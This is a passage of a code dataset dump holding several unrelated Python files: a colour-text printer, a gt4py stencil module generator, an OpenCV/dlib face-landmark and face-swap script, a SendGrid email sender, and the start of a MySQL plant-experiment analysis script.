\"\\033[38;5;{value}m{string}\\033[0m\"\ndef print_color_text(text, ws, end=False):\n ws = np.array(ws)\n ws = (ws - np.min(ws)) / (np.max(ws) - np.min(ws)) * 0.99\n for string, w in zip(text, ws):\n vid = int(w * length)\n value = ansi_code_ids[vid]\n print(template.format(string=string, value=value), end=\"\")\n if end:\n print()\n\nmarkdown_template = '<font color=\"{}\">{}</font>'\ndef render_color_markdown(text, ws):\n ws = np.array(ws)\n ws = (ws - np.min(ws)) / (np.max(ws) - np.min(ws)) * 0.99\n ss = []\n for string, w in zip(text, ws):\n i = int(w * hex_lenght)\n ss.append(markdown_template.format(hexcolors[i], string))\n return \"\".join(ss)\n\nif __name__ == \"__main__\":\n # for testing\n import string\n text = string.ascii_letters\n print_color_text(text, np.arange(len(text)))\n print(render_color_markdown(text, np.arange(len(text))))\n","repo_name":"allenwind/text-signification-in-rnn","sub_path":"color.py","file_name":"color.py","file_ext":"py","file_size_in_byte":1333,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"4870140577","text":"import abc\nimport numbers\nimport os\nimport textwrap\nfrom dataclasses import dataclass, field\nfrom inspect import getdoc\nfrom typing import TYPE_CHECKING, Any, Dict, List, Optional, Set\n\nimport jinja2\nimport numpy\n\nfrom gt4py import ir as gt_ir\nfrom gt4py import utils as gt_utils\nfrom gt4py.definitions import AccessKind, Boundary, DomainInfo, FieldInfo, ParameterInfo\nfrom gtc import gtir, gtir_to_oir\nfrom gtc.passes.gtir_k_boundary import compute_k_boundary, compute_min_k_size\nfrom gtc.passes.gtir_pipeline import GtirPipeline\nfrom gtc.passes.oir_access_kinds import compute_access_kinds\nfrom gtc.passes.oir_optimizations.utils import compute_fields_extents\nfrom gtc.utils import dimension_flags_to_names\n\n\nif TYPE_CHECKING:\n from gt4py.stencil_builder import StencilBuilder\n\n\n@dataclass\nclass ModuleData:\n field_info: Dict[str, FieldInfo] = field(default_factory=dict)\n parameter_info: Dict[str, ParameterInfo] = field(default_factory=dict)\n unreferenced: List[str] = field(default_factory=list)\n\n @property\n def field_names(self) -> Set[str]:\n \"\"\"Set of all field names.\"\"\"\n return set(self.field_info.keys())\n\n @property\n def parameter_names(self) -> Set[str]:\n \"\"\"Set of all parameter names.\"\"\"\n return set(self.parameter_info.keys())\n\n\ndef make_args_data_from_gtir(pipeline: GtirPipeline) -> ModuleData:\n \"\"\"\n Compute module data containing information about stencil arguments from gtir.\n\n This is no longer compatible with the legacy backends.\n \"\"\"\n data = ModuleData()\n\n # NOTE: pipeline.gtir has not had prune_unused_parameters applied.\n all_params = pipeline.gtir.params\n\n node = pipeline.full()\n oir = gtir_to_oir.GTIRToOIR().visit(node)\n field_extents = compute_fields_extents(oir)\n accesses = compute_access_kinds(oir)\n\n for decl in (param for param in all_params if isinstance(param, gtir.FieldDecl)):\n access = accesses[decl.name]\n dtype = numpy.dtype(decl.dtype.name.lower())\n\n if access != AccessKind.NONE:\n k_boundary = compute_k_boundary(node)[decl.name]\n boundary = Boundary(*field_extents[decl.name].to_boundary()[0:2], k_boundary)\n else:\n boundary = Boundary.zeros(ndims=3)\n\n data.field_info[decl.name] = FieldInfo(\n access=access,\n boundary=boundary,\n axes=tuple(dimension_flags_to_names(decl.dimensions).upper()),\n data_dims=tuple(decl.data_dims),\n dtype=dtype,\n )\n\n for decl in (param for param in all_params if isinstance(param, gtir.ScalarDecl)):\n access = accesses[decl.name]\n dtype = numpy.dtype(decl.dtype.name.lower())\n data.parameter_info[decl.name] = ParameterInfo(access=access, dtype=dtype)\n\n data.unreferenced = [*sorted(name for name in accesses if accesses[name] == AccessKind.NONE)]\n return data\n\n\nclass BaseModuleGenerator(abc.ABC):\n\n SOURCE_LINE_LENGTH = 120\n TEMPLATE_INDENT_SIZE = 4\n DOMAIN_ARG_NAME = \"_domain_\"\n ORIGIN_ARG_NAME = \"_origin_\"\n SPLITTERS_NAME = \"_splitters_\"\n\n TEMPLATE_PATH = os.path.join(os.path.dirname(__file__), \"templates\", \"stencil_module.py.in\")\n\n _builder: Optional[\"StencilBuilder\"]\n args_data: ModuleData\n template: jinja2.Template\n\n def __init__(self, builder: Optional[\"StencilBuilder\"] = None):\n self._builder = builder\n self.args_data = ModuleData()\n with open(self.TEMPLATE_PATH, \"r\") as f:\n self.template = jinja2.Template(f.read())\n\n def __call__(\n self,\n args_data: ModuleData,\n builder: Optional[\"StencilBuilder\"] = None,\n **kwargs: Any,\n ) -> str:\n \"\"\"\n Generate source code for a Python module containing a StencilObject.\n\n A possible reaosn for extending is processing additional kwargs,\n using a different template might require completely overriding.\n \"\"\"\n if builder:\n self._builder = builder\n self.args_data = args_data\n\n module_source = self.template.render(\n imports=self.generate_imports(),\n module_members=self.generate_module_members(),\n class_name=self.generate_class_name(),\n class_members=self.generate_class_members(),\n docstring=self.generate_docstring(),\n gt_backend=self.generate_backend_name(),\n gt_source=self.generate_sources(),\n gt_domain_info=self.generate_domain_info(),\n gt_field_info=repr(self.args_data.field_info),\n gt_parameter_info=repr(self.args_data.parameter_info),\n gt_constants=self.generate_constants(),\n gt_options=self.generate_options(),\n stencil_signature=self.generate_signature(),\n field_names=self.args_data.field_names,\n param_names=self.args_data.parameter_names,\n pre_run=self.generate_pre_run(),\n post_run=self.generate_post_run(),\n implementation=self.generate_implementation(),\n )\n if self.builder.options.as_dict()[\"format_source\"]:\n module_source = gt_utils.text.format_source(\n module_source, line_length=self.SOURCE_LINE_LENGTH\n )\n\n return module_source\n\n @property\n def builder(self) -> \"StencilBuilder\":\n \"\"\"\n Expose the builder reference.\n\n Raises a runtime error if the builder reference is not initialized.\n This is necessary because other parts of the public API depend on it before it is\n guaranteed to be initialized.\n \"\"\"\n if not self._builder:\n raise RuntimeError(\"Builder attribute not initialized!\")\n return self._builder\n\n @property\n def backend_name(self) -> str:\n return self.builder.backend.name\n\n @abc.abstractmethod\n def generate_implementation(self) -> str:\n \"\"\"Generate the work code inside the stencil object's run function.\"\"\"\n pass\n\n def generate_imports(self) -> str:\n \"\"\"Generate import statements and related code for the stencil class module.\"\"\"\n return \"\"\n\n def generate_class_name(self) -> str:\n \"\"\"\n Generate the name of the stencil class.\n\n This should ususally be deferred to the chosen caching strategy via\n the builder object (see default implementation).\n \"\"\"\n return self.builder.class_name\n\n def generate_docstring(self) -> str:\n \"\"\"\n Generate the docstring of the stencil object.\n\n The default is to return the stencil definition's docstring or an\n empty string.\n The output should be least based on the stencil definition's docstring,\n if one exists.\n \"\"\"\n return getdoc(self.builder.definition) or \"\"\n\n def generate_backend_name(self) -> str:\n \"\"\"\n Return the name of the backend.\n\n There should never be a need to override this.\n \"\"\"\n return self.backend_name\n\n def generate_sources(self) -> Dict[str, str]:\n \"\"\"\n Return the source code of the stencil definition in string format.\n\n This is unlikely to require overriding.\n \"\"\"\n if self.builder.definition_ir.sources is not None:\n return {\n key: gt_utils.text.format_source(value, line_length=self.SOURCE_LINE_LENGTH)\n for key, value in self.builder.definition_ir.sources\n }\n return {}\n\n def generate_constants(self) -> Dict[str, str]:\n \"\"\"\n Return a mapping of named numeric constants passed as externals.\n\n This is unlikely to require overriding.\n \"\"\"\n if self.builder.definition_ir.externals:\n return {\n name: repr(value)\n for name, value in self.builder.definition_ir.externals.items()\n if isinstance(value, numbers.Number)\n }\n return {}\n\n def generate_options(self) -> Dict[str, Any]:\n \"\"\"\n Return dictionary of build options.\n\n Must exclude options that should never be cached.\n \"\"\"\n return {\n key: value\n for key, value in self.builder.options.as_dict().items()\n if key not in [\"build_info\"]\n }\n\n def generate_domain_info(self) -> str:\n \"\"\"\n Generate a ``DomainInfo`` constructor call with the correct arguments.\n\n Might require overriding for module generators of non-cartesian backends.\n \"\"\"\n parallel_axes = self.builder.definition_ir.domain.parallel_axes or []\n sequential_axis = self.builder.definition_ir.domain.sequential_axis.name\n if self.builder.backend.USE_LEGACY_TOOLCHAIN:\n min_sequential_axis_size = 0\n else:\n min_sequential_axis_size = compute_min_k_size(self.builder.gtir_pipeline.full())\n domain_info = repr(\n DomainInfo(\n parallel_axes=tuple(ax.name for ax in parallel_axes),\n sequential_axis=sequential_axis,\n min_sequential_axis_size=min_sequential_axis_size,\n ndim=len(parallel_axes) + (1 if sequential_axis else 0),\n )\n )\n return domain_info\n\n def generate_module_members(self) -> str:\n \"\"\"\n Generate additional module level code after all imports.\n\n May contain any executable module level code including function and class defs.\n \"\"\"\n return \"\"\n\n def generate_class_members(self) -> str:\n \"\"\"\n Generate additional stencil class members.\n\n May contain any class level code including methods.\n \"\"\"\n return \"\"\n\n def generate_signature(self) -> str:\n \"\"\"\n Generate the stencil definition specific part of the stencil object's ``__call__`` signature.\n\n Unlikely to require overriding.\n \"\"\"\n args = []\n keyword_args = [\"*\"]\n for arg in self.builder.definition_ir.api_signature:\n if arg.is_keyword:\n if arg.default is not gt_ir.Empty:\n keyword_args.append(\n \"{name}={default}\".format(name=arg.name, default=arg.default)\n )\n else:\n keyword_args.append(arg.name)\n else:\n if arg.default is not gt_ir.Empty:\n args.append(\"{name}={default}\".format(name=arg.name, default=arg.default))\n else:\n args.append(arg.name)\n\n if len(keyword_args) > 1:\n args.extend(keyword_args)\n signature = \", \".join(args)\n\n return signature\n\n def generate_pre_run(self) -> str:\n \"\"\"Additional code to be run just before the run method (implementation) is called.\"\"\"\n return \"\"\n\n def generate_post_run(self) -> str:\n \"\"\"Additional code to be run just after the run method (implementation) is called.\"\"\"\n return \"\"\n\n\ndef iir_is_not_emtpy(implementation_ir: gt_ir.StencilImplementation) -> bool:\n return bool(implementation_ir.multi_stages)\n\n\ndef gtir_is_not_emtpy(pipeline: GtirPipeline) -> bool:\n node = pipeline.full()\n return bool(node.iter_tree().if_isinstance(gtir.ParAssignStmt).to_list())\n\n\ndef iir_has_effect(implementation_ir: gt_ir.StencilImplementation) -> bool:\n return bool(implementation_ir.has_effect)\n\n\ndef gtir_has_effect(pipeline: GtirPipeline) -> bool:\n return True\n\n\nclass PyExtModuleGenerator(BaseModuleGenerator):\n \"\"\"\n Module Generator for use with backends that generate c++ python extensions.\n\n Will either use ImplementationIR or GTIR depending on the backend's USE_LEGACY_TOOLCHAIN\n class attribute. Using with other IRs requires subclassing and overriding ``_is_not_empty()``\n and ``_has_effect()`` methods.\n \"\"\"\n\n pyext_module_name: Optional[str]\n pyext_file_path: Optional[str]\n\n def __init__(self):\n super().__init__()\n self.pyext_module_name = None\n self.pyext_file_path = None\n\n def __call__(\n self,\n args_data: ModuleData,\n builder: Optional[\"StencilBuilder\"] = None,\n **kwargs: Any,\n ) -> str:\n self.pyext_module_name = kwargs[\"pyext_module_name\"]\n self.pyext_file_path = kwargs[\"pyext_file_path\"]\n return super().__call__(args_data, builder, **kwargs)\n\n def _is_not_empty(self) -> bool:\n if self.pyext_module_name is None:\n return False\n if self.builder.backend.USE_LEGACY_TOOLCHAIN:\n return iir_is_not_emtpy(self.builder.implementation_ir)\n return gtir_is_not_emtpy(self.builder.gtir_pipeline)\n\n def generate_imports(self) -> str:\n source = [\"from gt4py import utils as gt_utils\"]\n if self._is_not_empty():\n assert self.pyext_file_path is not None\n file_path = 'f\"{{pathlib.Path(__file__).parent.resolve()}}/{}\"'.format(\n os.path.basename(self.pyext_file_path)\n )\n source.append(\n textwrap.dedent(\n f\"\"\"\n pyext_module = gt_utils.make_module_from_file(\n \"{self.pyext_module_name}\", {file_path}, public_import=True\n )\n \"\"\"\n )\n )\n return \"\\n\".join(source)\n\n def _has_effect(self) -> bool:\n if not self._is_not_empty():\n return False\n if self.builder.backend.USE_LEGACY_TOOLCHAIN:\n return iir_has_effect(self.builder.implementation_ir)\n return gtir_has_effect(self.builder.gtir_pipeline)\n\n def generate_implementation(self) -> str:\n definition_ir = self.builder.definition_ir\n sources = gt_utils.text.TextBlock(indent_size=BaseModuleGenerator.TEMPLATE_INDENT_SIZE)\n\n args = []\n api_fields = set(field.name for field in definition_ir.api_fields)\n for arg in definition_ir.api_signature:\n if arg.name not in self.args_data.unreferenced:\n args.append(arg.name)\n if arg.name in api_fields:\n args.append(\"list(_origin_['{}'])\".format(arg.name))\n\n # only generate implementation if any multi_stages are present. e.g. if no statement in the\n # stencil has any effect on the API fields, this may not be the case since they could be\n # pruned.\n if self._has_effect():\n source = textwrap.dedent(\n f\"\"\"\n # Load or generate a GTComputation object for the current domain size\n pyext_module.run_computation({\",\".join([\"list(_domain_)\", *args, \"exec_info\"])})\n \"\"\"\n )\n sources.extend(source.splitlines())\n else:\n sources.extend(\"\\n\")\n\n return sources.text\n\n\nclass CUDAPyExtModuleGenerator(PyExtModuleGenerator):\n def generate_implementation(self) -> str:\n source = super().generate_implementation()\n if self.builder.options.backend_opts.get(\"device_sync\", True):\n source += textwrap.dedent(\n \"\"\"\n cupy.cuda.Device(0).synchronize()\n \"\"\"\n )\n return source\n\n def generate_imports(self) -> str:\n source = (\n textwrap.dedent(\n \"\"\"\n import cupy\n \"\"\"\n )\n + super().generate_imports()\n )\n return source\n","repo_name":"tehrengruber/gt4py","sub_path":"src/gt4py/backend/module_generator.py","file_name":"module_generator.py","file_ext":"py","file_size_in_byte":15389,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"21"} +{"seq_id":"4098078202","text":"import pickle\r\nimport cv2\r\nimport mtcnn\r\nimport os\r\nimport numpy as np\r\nimport dlib\r\nfrom sklearn.metrics import mean_squared_error\r\nfrom scipy.spatial.distance import euclidean\r\n\r\n\r\ndef detectFaceLandmarks():\r\n face_detector = mtcnn.MTCNN()\r\n cap = cv2.VideoCapture(0)\r\n\r\n while True:\r\n x, img = cap.read()\r\n results = face_detector.detect_faces(img)\r\n\r\n for res in results:\r\n x1, y1, width, height = res['box']\r\n x2, y2 = x1 + width, y1 + height\r\n\r\n key_points = res['keypoints'].values()\r\n\r\n for point in key_points:\r\n cv2.circle(img, point, 5, (0, 255, 0), thickness=-1)\r\n\r\n cv2.imshow('Image', img)\r\n\r\n k = cv2.waitKey(30) & 0xff\r\n if k == 27:\r\n break\r\n\r\n\r\ndef anotationsToSomethingNormal():\r\n annotations = {}\r\n with open(\"list_landmarks_celeba.txt\", \"r\") as file:\r\n for line in file:\r\n line = line.split()\r\n key = line[0]\r\n line.pop(0)\r\n outputLine = [[line[0], line[1]], [line[2], line[3]], [line[4], line[5]], [line[6], line[7]],\r\n [line[8], line[9]]]\r\n annotations.update({key: outputLine})\r\n\r\n with open('annotations.txt', 'wb') as fp:\r\n pickle.dump(annotations, fp)\r\n\r\n return annotations\r\n\r\n\r\ndef getDataFromPhotos():\r\n i = 0\r\n face_detector = mtcnn.MTCNN()\r\n dataFound = {}\r\n\r\n for filename in os.listdir('data'):\r\n img = cv2.imread('data/' + filename)\r\n results = face_detector.detect_faces(img)\r\n\r\n for res in results:\r\n key_points = res['keypoints']\r\n left_eye = list(key_points.get('left_eye'))\r\n right_eye = list(key_points.get('right_eye'))\r\n nose = list(key_points.get('nose'))\r\n mouth_left = list(key_points.get('mouth_left'))\r\n mouth_right = list(key_points.get('mouth_right'))\r\n\r\n outputList = [left_eye, right_eye, nose, mouth_left, mouth_right]\r\n\r\n print(i)\r\n print(filename)\r\n print(outputList)\r\n i += 1\r\n dataFound.update({filename: outputList})\r\n\r\n with open('foundCoordinates.txt', 'wb') as fo:\r\n pickle.dump(dataFound, fo)\r\n\r\n return dataFound\r\n\r\n\r\ndef calculateMSE(annotations, foundCoordinates):\r\n for x in annotations:\r\n annotations[x] = list(np.float_(annotations[x]))\r\n for i in foundCoordinates:\r\n foundCoordinates[i] = list(np.float_(foundCoordinates[i]))\r\n\r\n outputDictionary = {}\r\n totalMSE = 0.0\r\n for key in foundCoordinates:\r\n outputDictionary.update({key: [[foundCoordinates.get(key)], [annotations.get(key)],\r\n mean_squared_error(annotations.get(key), foundCoordinates.get(key))]})\r\n totalMSE = mean_squared_error(annotations.get(key), foundCoordinates.get(key)) + totalMSE\r\n\r\n totalMSE = totalMSE / len(foundCoordinates)\r\n print('Total MSE: ', totalMSE)\r\n return outputDictionary\r\n\r\n\r\ndef loadEverything():\r\n with open('annotations.txt', 'rb') as fp:\r\n annotations = pickle.load(fp)\r\n\r\n with open('foundCoordinates.txt', 'rb') as fo:\r\n foundCoordinates = pickle.load(fo)\r\n\r\n return annotations, foundCoordinates\r\n\r\n\r\n# https://www.youtube.com/watch?v=81lCsiNBvrM&t=429s&ab_channel=PracticalAI\r\n# https://github.com/Practical-AI/Face/blob/master/_04_face_alignment/01_face_alignment.py\r\ndef align(img, left_eye_pos, right_eye_pos, size=(150, 150), eye_pos=(0.35, 0.35)):\r\n width, height = size\r\n eye_pos_w, eye_pos_h = eye_pos\r\n\r\n l_e, r_e = left_eye_pos, right_eye_pos\r\n\r\n dy = r_e[1] - l_e[1]\r\n dx = r_e[0] - l_e[0]\r\n dist = euclidean(l_e, r_e)\r\n scale = (width * (1 - 2 * eye_pos_w)) / dist\r\n\r\n center = ((l_e[0] + r_e[0]) // 2, (l_e[1] + r_e[1]) // 2)\r\n angle = np.degrees(np.arctan2(dy, dx)) + 360\r\n\r\n m = cv2.getRotationMatrix2D(center, angle, scale)\r\n tx = width * 0.5\r\n ty = height * eye_pos_h\r\n m[0, 2] += (tx - center[0])\r\n m[1, 2] += (ty - center[1])\r\n\r\n aligned_face = cv2.warpAffine(img, m, (width, height))\r\n return aligned_face\r\n\r\n\r\ndef alignFaces(foundCoordinates):\r\n for key in foundCoordinates:\r\n img = cv2.imread('data/' + key)\r\n value = foundCoordinates.get(key)\r\n left_eye = tuple([value[0][0], value[0][1]])\r\n right_eye = tuple([value[1][0], value[1][1]])\r\n aligned = align(img, left_eye, right_eye)\r\n cv2.imwrite('faces/' + key, aligned)\r\n cv2.imshow('foto', aligned)\r\n cv2.waitKey(0)\r\n\r\n\r\n# https://automaticaddison.com/how-to-blend-multiple-images-using-opencv/\r\ndef getAverageImage():\r\n image_data = []\r\n for filename in os.listdir('data'):\r\n img = cv2.imread('faces/' + filename)\r\n if img is not None:\r\n image_data.append(img)\r\n\r\n dst = image_data[0]\r\n\r\n for i in range(len(image_data)):\r\n if i == 0:\r\n pass\r\n else:\r\n alpha = 1.0 / (i + 1)\r\n beta = 1.0 - alpha\r\n dst = cv2.addWeighted(image_data[i], alpha, dst, beta, 0.0)\r\n\r\n cv2.imshow('Average face', dst)\r\n cv2.waitKey(0)\r\n return dst\r\n\r\n\r\ndef getMostSimilarImage(averageImage):\r\n err = 9999999\r\n for filename in os.listdir('faces'):\r\n img = cv2.imread('faces/' + filename)\r\n\r\n errNow = np.sum((averageImage.astype(\"float\") - img.astype(\"float\")) ** 2)\r\n errNow /= float(averageImage.shape[0] * averageImage.shape[1])\r\n\r\n print(errNow)\r\n\r\n if errNow < err:\r\n err = errNow\r\n mostSilimarImage = cv2.imread('faces/' + filename)\r\n\r\n cv2.imshow('Most Silimar Image', mostSilimarImage)\r\n cv2.waitKey(0)\r\n return mostSilimarImage\r\n\r\n\r\n# https://pysource.com/2019/05/28/face-swapping-explained-in-8-steps-opencv-with-python/\r\ndef faceSwap(inputwebcam, secondface):\r\n def extract_index_nparray(nparray):\r\n index = None\r\n for num in nparray[0]:\r\n index = num\r\n break\r\n return index\r\n\r\n img = inputwebcam\r\n img_gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\r\n mask = np.zeros_like(img_gray)\r\n img2 = secondface\r\n img2_gray = cv2.cvtColor(img2, cv2.COLOR_BGR2GRAY)\r\n\r\n detector = dlib.get_frontal_face_detector()\r\n predictor = dlib.shape_predictor(\"shape_predictor_68_face_landmarks.dat\")\r\n height, width, channels = img2.shape\r\n img2_new_face = np.zeros((height, width, channels), np.uint8)\r\n\r\n # Face 1\r\n faces = detector(img_gray)\r\n for face in faces:\r\n landmarks = predictor(img_gray, face)\r\n landmarks_points = []\r\n for n in range(0, 68):\r\n x = landmarks.part(n).x\r\n y = landmarks.part(n).y\r\n landmarks_points.append((x, y))\r\n\r\n points = np.array(landmarks_points, np.int32)\r\n convexhull = cv2.convexHull(points)\r\n # cv2.polylines(img, [convexhull], True, (255, 0, 0), 3)\r\n cv2.fillConvexPoly(mask, convexhull, 255)\r\n\r\n face_image_1 = cv2.bitwise_and(img, img, mask=mask)\r\n\r\n # Delaunay triangulation\r\n rect = cv2.boundingRect(convexhull)\r\n subdiv = cv2.Subdiv2D(rect)\r\n subdiv.insert(landmarks_points)\r\n triangles = subdiv.getTriangleList()\r\n triangles = np.array(triangles, dtype=np.int32)\r\n\r\n indexes_triangles = []\r\n for t in triangles:\r\n pt1 = (t[0], t[1])\r\n pt2 = (t[2], t[3])\r\n pt3 = (t[4], t[5])\r\n\r\n index_pt1 = np.where((points == pt1).all(axis=1))\r\n index_pt1 = extract_index_nparray(index_pt1)\r\n\r\n index_pt2 = np.where((points == pt2).all(axis=1))\r\n index_pt2 = extract_index_nparray(index_pt2)\r\n\r\n index_pt3 = np.where((points == pt3).all(axis=1))\r\n index_pt3 = extract_index_nparray(index_pt3)\r\n\r\n if index_pt1 is not None and index_pt2 is not None and index_pt3 is not None:\r\n triangle = [index_pt1, index_pt2, index_pt3]\r\n indexes_triangles.append(triangle)\r\n\r\n # Face 2\r\n faces2 = detector(img2_gray)\r\n for face in faces2:\r\n landmarks = predictor(img2_gray, face)\r\n landmarks_points2 = []\r\n for n in range(0, 68):\r\n x = landmarks.part(n).x\r\n y = landmarks.part(n).y\r\n landmarks_points2.append((x, y))\r\n\r\n points2 = np.array(landmarks_points2, np.int32)\r\n convexhull2 = cv2.convexHull(points2)\r\n\r\n lines_space_mask = np.zeros_like(img_gray)\r\n lines_space_new_face = np.zeros_like(img2)\r\n # Triangulation of both faces\r\n for triangle_index in indexes_triangles:\r\n # Triangulation of the first face\r\n tr1_pt1 = landmarks_points[triangle_index[0]]\r\n tr1_pt2 = landmarks_points[triangle_index[1]]\r\n tr1_pt3 = landmarks_points[triangle_index[2]]\r\n triangle1 = np.array([tr1_pt1, tr1_pt2, tr1_pt3], np.int32)\r\n\r\n rect1 = cv2.boundingRect(triangle1)\r\n (x, y, w, h) = rect1\r\n cropped_triangle = img[y: y + h, x: x + w]\r\n cropped_tr1_mask = np.zeros((h, w), np.uint8)\r\n\r\n points = np.array([[tr1_pt1[0] - x, tr1_pt1[1] - y],\r\n [tr1_pt2[0] - x, tr1_pt2[1] - y],\r\n [tr1_pt3[0] - x, tr1_pt3[1] - y]], np.int32)\r\n\r\n cv2.fillConvexPoly(cropped_tr1_mask, points, 255)\r\n\r\n # Lines space\r\n cv2.line(lines_space_mask, tr1_pt1, tr1_pt2, 255)\r\n cv2.line(lines_space_mask, tr1_pt2, tr1_pt3, 255)\r\n cv2.line(lines_space_mask, tr1_pt1, tr1_pt3, 255)\r\n lines_space = cv2.bitwise_and(img, img, mask=lines_space_mask)\r\n\r\n # Triangulation of second face\r\n tr2_pt1 = landmarks_points2[triangle_index[0]]\r\n tr2_pt2 = landmarks_points2[triangle_index[1]]\r\n tr2_pt3 = landmarks_points2[triangle_index[2]]\r\n triangle2 = np.array([tr2_pt1, tr2_pt2, tr2_pt3], np.int32)\r\n\r\n rect2 = cv2.boundingRect(triangle2)\r\n (x, y, w, h) = rect2\r\n\r\n cropped_tr2_mask = np.zeros((h, w), np.uint8)\r\n\r\n points2 = np.array([[tr2_pt1[0] - x, tr2_pt1[1] - y],\r\n [tr2_pt2[0] - x, tr2_pt2[1] - y],\r\n [tr2_pt3[0] - x, tr2_pt3[1] - y]], np.int32)\r\n\r\n cv2.fillConvexPoly(cropped_tr2_mask, points2, 255)\r\n\r\n # Warp triangles\r\n points = np.float32(points)\r\n points2 = np.float32(points2)\r\n M = cv2.getAffineTransform(points, points2)\r\n warped_triangle = cv2.warpAffine(cropped_triangle, M, (w, h))\r\n warped_triangle = cv2.bitwise_and(warped_triangle, warped_triangle, mask=cropped_tr2_mask)\r\n\r\n # Reconstructing destination face\r\n img2_new_face_rect_area = img2_new_face[y: y + h, x: x + w]\r\n img2_new_face_rect_area_gray = cv2.cvtColor(img2_new_face_rect_area, cv2.COLOR_BGR2GRAY)\r\n _, mask_triangles_designed = cv2.threshold(img2_new_face_rect_area_gray, 1, 255, cv2.THRESH_BINARY_INV)\r\n warped_triangle = cv2.bitwise_and(warped_triangle, warped_triangle, mask=mask_triangles_designed)\r\n\r\n img2_new_face_rect_area = cv2.add(img2_new_face_rect_area, warped_triangle)\r\n img2_new_face[y: y + h, x: x + w] = img2_new_face_rect_area\r\n\r\n # Face swapped (putting 1st face into 2nd face)\r\n img2_face_mask = np.zeros_like(img2_gray)\r\n img2_head_mask = cv2.fillConvexPoly(img2_face_mask, convexhull2, 255)\r\n img2_face_mask = cv2.bitwise_not(img2_head_mask)\r\n\r\n img2_head_noface = cv2.bitwise_and(img2, img2, mask=img2_face_mask)\r\n result = cv2.add(img2_head_noface, img2_new_face)\r\n\r\n (x, y, w, h) = cv2.boundingRect(convexhull2)\r\n center_face2 = (int((x + x + w) / 2), int((y + y + h) / 2))\r\n\r\n seamlessclone = cv2.seamlessClone(result, img2, img2_head_mask, center_face2, cv2.NORMAL_CLONE)\r\n\r\n return seamlessclone\r\n # cv2.imshow(\"seamlessclone\", seamlessclone)\r\n # cv2.waitKey(0)\r\n #\r\n # cv2.destroyAllWindows()\r\n\r\n\r\ndef webcamFaceswap():\r\n cap = cv2.VideoCapture(0)\r\n while True:\r\n xyz, image = cap.read()\r\n secondImage = cv2.imread('data/003147.jpg')\r\n outputImage = faceSwap(image, secondImage)\r\n cv2.imshow('Outputimage', outputImage)\r\n cv2.waitKey(0)\r\n\r\n\r\nif __name__ == \"__main__\":\r\n detectFaceLandmarks()\r\n # annotations = anotationsToSomethingNormal()\r\n # foundCoordinates = getDataFromPhotos()\r\n\r\n annotations, foundCoordinates = loadEverything()\r\n\r\n dictionaryMSE = calculateMSE(annotations, foundCoordinates)\r\n\r\n #alignFaces(foundCoordinates)\r\n\r\n averageImage = getAverageImage()\r\n\r\n mostSimilarImage = getMostSimilarImage(averageImage)\r\n\r\n webcamFaceswap()\r\n\r\n","repo_name":"xdurfina/image-face-recognition-and-align","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":12685,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"73841916212","text":"## https://docs.sendgrid.com/for-developers/sending-email/quickstart-python#complete-code-block\n# https://stackoverflow.com/questions/39717986/httperror-http-error-401-unauthorized-for-sendgrid-integration-with-python\n\n# importing library\nimport sendgrid\nimport os\nfrom sendgrid.helpers.mail import Mail, Email, To, Content\n\n# make sure to set environment variable before you do this\n\n# -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n# Functions\n# -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n\n\n# Function to send email\ndef sendEmailFunc(sendFROMemail,sendTOemail,subjectLine,contentOfMessage):\n sg = sendgrid.SendGridAPIClient(api_key=os.environ.get('SENDGRID_API_KEY'))\n #sg = sendgrid.SendGridAPIClient(api_key)\n from_email = Email(f\"{sendFROMemail}\") # Change to your verified sender\n to_email = To(f\"{sendTOemail}\") # Change to your recipient\n subject = f\"{subjectLine}\"\n content = Content(\"text/plain\", f\"{contentOfMessage}\")\n mail = Mail(from_email, to_email, subject, content)\n\n # Get a JSON-ready representation of the Mail object\n mail_json = mail.get()\n\n # Send an HTTP POST request to /mail/send\n response = sg.client.mail.send.post(request_body=mail_json)\n print(response.status_code)\n print(response.headers)\n\n\n# -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n# Main\n# -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n\n\n# This is where the information is gathered from the user to craft email\n# mp3converterandencryptor@gmail.com \nsourceEmail = input(\"What email are your sending this from: \")\noutboundEmail = input(\"Who are we sending this to: \")\n\nsubjectOfEmail = input(\"What is the Subject line: \")\ncontentOfEmail = input(\"What content do you want in this email: \")\n\n\nsendEmailFunc(sourceEmail,outboundEmail,subjectOfEmail,contentOfEmail)\n\nprint(\"DONEZO!\")","repo_name":"jacobpclouse/Mp3-Generator","sub_path":"backend/sample Scripts/Send Email with attachments/sendgridEmail_V3.py","file_name":"sendgridEmail_V3.py","file_ext":"py","file_size_in_byte":1830,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"8566633493","text":"import numpy as np\nimport pylab as pl\nimport pymysql\nimport sys, traceback\nfrom scipy.optimize import curve_fit\nfrom exp_units_conversions import red_far_by_curr, white_far_by_curr, dry_intQ, final_intQ\n\ndef sweet_print(str_):\n print(\"\\n{:<30} {}\".format(\"[ NOTE ]\", str_))\n\ndef calculate_final_effect(_db_params, _search_table, _exp_id, dM_exp, dM_control,\n R_control, W_control, h_led_control, h_led_exp):\n # get one point remotely and calculate F\n con = pymysql.connect(host=_db_params[\"host\"],\n user=_db_params[\"user\"],\n password=_db_params[\"password\"],\n db=_db_params['db'],\n charset='utf8mb4',\n cursorclass=pymysql.cursors.DictCursor)\n\n cur = con.cursor()\n\n\n\n # get days of experiment\n comm_str = \"select distinct(date(end_time)) as day from exp_data where \" \\\n \"is_finished=0 and exp_id={};\".format(_exp_id)\n cur.execute(comm_str)\n rows = cur.fetchall()\n # return (_db_params, _search_table, _exp_id)\n days = [x['day'] for x in rows]\n print(\"days of experiment: \")\n for d in days:\n print(str(d))\n E_mean_days = []\n\n # ok_symb = \"[ NOTE ]\"\n\n for d in days:\n print(\"\\n ==================================================================\")\n print(\"try to calculate day {}\".format(d))\n print(\" ==================================================================\")\n # search min_G point and find correspond 